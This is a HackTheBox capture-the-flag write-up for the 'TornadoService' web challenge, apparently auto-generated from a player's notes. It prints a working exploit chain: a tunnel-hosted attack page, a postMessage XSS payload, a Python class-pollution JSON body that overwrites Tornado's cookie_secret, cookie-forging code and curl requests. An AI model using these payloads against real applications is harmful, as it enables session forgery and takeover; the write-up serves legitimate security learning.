TornadoService
TornadoService
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-25 | Status: Solved Techniques: iframe_origin_bypass, postmessage_xss, prototype_pollution_python, python_class_pollution, tornado_cookie_forgery
Summary
Target: http://154.57.164.69:31599
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
HackTheBox| ID:20260325_hackthebox_tornadoservice - Tags: xss, python, selenium_bot, cookie_forgery, iframe, tornado, class_pollution, postmessage, innerhtml, cors, mixed_content
- Indicators: Python Tornado framework, recursive dict merge with setattr, class.init.globals traversal, postMessage listener without origin check, innerHTML rendering of user data
- Source:
20260325_hackthebox_tornadoservice.md
Foothold
Vulnerability / Misconfiguration
- Iframe_origin_bypass
- Postmessage_xss
- Prototype_pollution_python
- Python_class_pollution
- Tornado_cookie_forgery
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- iframe_origin_bypass
- postmessage_xss
- prototype_pollution_python
- python_class_pollution
- tornado_cookie_forgery
- Tags: xss, python, selenium_bot, cookie_forgery, iframe, tornado, class_pollution, postmessage, innerhtml, cors, mixed_content
Original Writeup
<details><summary>Click to expand original content</summary>TornadoService — HackTheBox
Description
You have found a portal of the recently arising tornado malware, it appears to have some protections implemented but a bet was made between your peers that they are not enough. Will you win this bet?
Target: http://154.57.164.69:31599
Python Tornado web application with multiple vulnerabilities: Python class pollution in recursive dict merge function, DOM XSS via innerHTML + postMessage, and a Selenium bot that visits user-controlled URLs. The goal is to chain these to overwrite the cookie secret and forge a valid session cookie to access the flag.
Analysis
Application Structure
/— Index page (dashboard)/get_tornados— Returns list of tornado objects as JSON/update_tornado— Updates a tornado object. RESTRICTED TO LOCALHOST ONLY/report_tornado?ip=X— Makes a Selenium bot visithttp://{ip}/agent_details/login— Login with username/password (passwords are random 32-byte hex)/stats— Returns flag if user has valid Tornado secure cookie
Vulnerability 1: Python Class Pollution
The update_tornados() function recursively merges a dict into an object using setattr:
def update_tornados(tornado, updated):
for index, value in tornado.items():
if hasattr(updated, "__getitem__"):
if updated.get(index) and type(value) == dict:
update_tornados(value, updated.get(index))
else:
updated[index] = value
elif hasattr(updated, index) and type(value) == dict:
update_tornados(value, getattr(updated, index))
else:
setattr(updated, index, value)
By traversing __class__ → __init__ → __globals__, we can reach module-level globals and overwrite APP.settings.cookie_secret.
Vulnerability 2: DOM XSS via innerHTML + postMessage
Frontend JS renders tornado data with innerHTML (XSS sink):
machineIdValue.innerHTML = tornado.machine_id; ipAddressValue.innerHTML = tornado.ip_address; status.innerHTML = tornado.status;
And listens for postMessage events without origin validation (XSS source):
window.addEventListener("message", (event) => {
const tornado = event.data;
if (!tornado.machine_id && !tornado.ip_address && !tornado.status) return;
const listItem = createListItem(tornado); // renders with innerHTML
tornadoList.appendChild(listItem);
});
Vulnerability 3: Bot visits user-controlled URLs
The /report_tornado?ip=X endpoint makes a Selenium bot visit http://{ip}/agent_details, allowing us to serve malicious content.
Attack Chain
- Host malicious page on cloudflared tunnel
- Trigger bot to visit our page via
/report_tornado - Our page creates iframe to
http://127.0.0.1:1337/ - Send postMessage with XSS payload in
machine_idfield - XSS executes in localhost context, bypassing the localhost restriction
- XSS sends class pollution payload to
/update_tornadoto overwritecookie_secret - Forge Tornado secure cookie with known secret
- Access
/statswith forged cookie to get flag
Solution
Step 1: Set up malicious page with cloudflared tunnel
cloudflared tunnel --url http://localhost:8890 # Got: https://birth-adaptation-protein-protocols.trycloudflare.com
Step 2: Create exploit page (agent_details)
<html>
<body>
<h1>Agent Details</h1>
<script>
var target = 'http://127.0.0.1:1337';
// Direct fetch fails (mixed content), so use iframe approach:
fetch(target + '/get_tornados', {mode: 'cors'})
.then(function(r) { return r.json(); })
.catch(function(e) {
// Create iframe to localhost
var iframe = document.createElement('iframe');
iframe.src = target + '/';
iframe.onload = function() {
// XSS payload that runs in localhost context
var xss = "fetch('/get_tornados').then(r=>r.json()).then(d=>{" +
"var p={machine_id:d[0].machine_id," +
"__class__:{__init__:{__globals__:{APP:{settings:{cookie_secret:'MYSECRET123'}}}}}};" +
"fetch('/update_tornado',{method:'POST'," +
"headers:{'Content-Type':'application/json'}," +
"body:JSON.stringify(p)})})";
// Send postMessage with XSS in machine_id (rendered via innerHTML)
var msg = {
machine_id: '<img src=x onerror="' + xss + '">',
ip_address: 'test',
status: 'active'
};
iframe.contentWindow.postMessage(msg, '*');
};
document.body.appendChild(iframe);
});
</script>
</body>
</html>
Critical: The exploit file must be served with Content-Type: text/html for the browser to execute JavaScript.
Step 3: Trigger the bot
curl -s "http://154.57.164.69:31599/report_tornado?ip=birth-adaptation-protein-protocols.trycloudflare.com"
Step 4: Class pollution traversal
The payload traverses the object graph:
{
"machine_id": "host-8693",
"__class__": {
"__init__": {
"__globals__": {
"APP": {
"settings": {
"cookie_secret": "MYSECRET123"
}
}
}
}
}
}
Traversal path:
TornadoObject→hasattr(obj, "__class__")= True → recurse into classTornadoObjectclass →hasattr(cls, "__init__")= True → recurse into method__init__method →hasattr(method, "__globals__")= True → recurse into module globals- Module globals dict →
dict.get("APP")exists → recurse into Application object APP→hasattr(APP, "settings")= True → recurse into settings dict- Settings dict →
settings["cookie_secret"] = "MYSECRET123"✓
Step 5: Forge Tornado secure cookie and get flag
from tornado.web import create_signed_value
cookie = create_signed_value('MYSECRET123', 'user', 'lean@tornado-service.htb', version=2)
# Result: 2|1:0|10:1774386894|4:user|32:bGVhbkB0b3JuYWRvLXNlcnZpY2UuaHRi|65a578...
curl -s 'http://154.57.164.69:31599/stats' \
-b "user=2|1:0|10:1774386894|4:user|32:bGVhbkB0b3JuYWRvLXNlcnZpY2UuaHRi|65a578044e98f0d295c727a8d0f6e0df2ce4a1b6729f06b560143e677e7e145e"
# {"success": {"type": "Success", "message": "HTB{REDACTED}"}}
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR